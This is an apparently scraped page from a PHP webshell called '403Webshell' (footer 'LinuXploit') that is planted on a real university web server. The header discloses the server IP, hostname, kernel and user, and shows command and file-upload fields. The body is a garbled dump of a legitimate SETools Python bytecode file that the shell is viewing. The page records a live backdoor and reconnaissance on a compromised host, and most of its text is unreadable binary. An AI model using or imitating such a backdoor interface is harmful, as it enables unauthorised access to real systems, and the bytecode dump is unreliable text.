403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/setools/diff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/setools/diff/__pycache__/bounds.cpython-36.pyc
3

�^h�@stddlmZddlmZddlmZddlmZmZddl	m
Z
edd	d
dg�ZGdd
�d
e�ZGdd�de�Z
dS)�)�
namedtuple�)�BoundsRuletype�)�DiffResultDescriptor)�
Difference�Wrapper)�type_wrapper_factoryZmodified_bound�ruleZadded_boundZ
removed_boundc@sHeZdZdZed�Zed�Zed�ZdZdZ	dd�Z
dd�Zdd	�ZdS)
�BoundsDifferencez9Determine the difference in *bounds between two policies.�diff_typeboundsNcCs�|jjdj|��|jdks&|jdkr.|j�|jdd�|jD�dd�|jD�dd�d�\|_|_}g|_	x<|D]4\}}t
|j�t
|j�krp|j	jt
||j|j��qpWdS)	z@Generate the difference in typebound rules between the policies.zJGenerating typebounds differences from {0.left_policy} to {0.right_policy}Ncss|]}t|�VqdS)N)�
BoundsWrapper)�.0�c�r�/usr/lib64/python3.6/bounds.py�	<genexpr>5sz3BoundsDifference.diff_typebounds.<locals>.<genexpr>css|]}t|�VqdS)N)r
)rrrrrr6scSs
t|j�S)N)�str�child)�brrr�<lambda>7sz2BoundsDifference.diff_typebounds.<locals>.<lambda>)�key)�log�info�format�_left_typebounds�_right_typebounds�_create_typebound_listsZ	_set_diff�added_typebounds�removed_typebounds�modified_typeboundsr	�parent�append�modified_bounds_record)�selfZmatched_typeboundsZ
left_boundZright_boundrrrr+s
z BoundsDifference.diff_typeboundscCs�g|_x@|jj�D]2}|jtjkr0|jj|�q|jjdj	|j��qWg|_
x@|jj�D]2}|jtjkrx|j
j|�qZ|jjdj	|j��qZWdS)z$Create rule lists for both policies.z/Unknown rule type: {0} (This is an SETools bug)N)rZleft_policyZbounds�ruletyperZ
typeboundsr"r�errorrrZright_policy)r$r
rrrrCs

z(BoundsDifference._create_typebound_listscCs(|jjd�d|_d|_d|_d|_dS)z%Reset diff results on policy changes.z!Resetting all *bounds differencesN)r�debugrrrr)r$rrr�_reset_diffUs
zBoundsDifference._reset_diff)
�__name__�
__module__�__qualname__�__doc__rrrr rrrrr(rrrrrsrc@s4eZdZdZdZdd�Zdd�Zd	d
�Zdd�Zd
S)r
zWrap *bounds for diff purposes.r%r!rcCs4||_|j|_t|j�|_t|j�|_t|�|_dS)N)�originr%r	r!r�hashr)r$r
rrr�__init__fs
zBoundsWrapper.__init__cCs|jS)N)r)r$rrr�__hash__mszBoundsWrapper.__hash__cCs|j|jkS)N)r)r$�otherrrr�__lt__pszBoundsWrapper.__lt__cCs|j|jko|j|jkS)N)r%r)r$r1rrr�__eq__sszBoundsWrapper.__eq__N)r%r!r)	r)r*r+r,�	__slots__r/r0r2r3rrrrr
`sr
N)�collectionsrZ	policyreprZdescriptorsr�
differencerr�typesr	r#rr
rrrr�<module>sA

Youez - 2016 - github.com/yon3zu
LinuXploit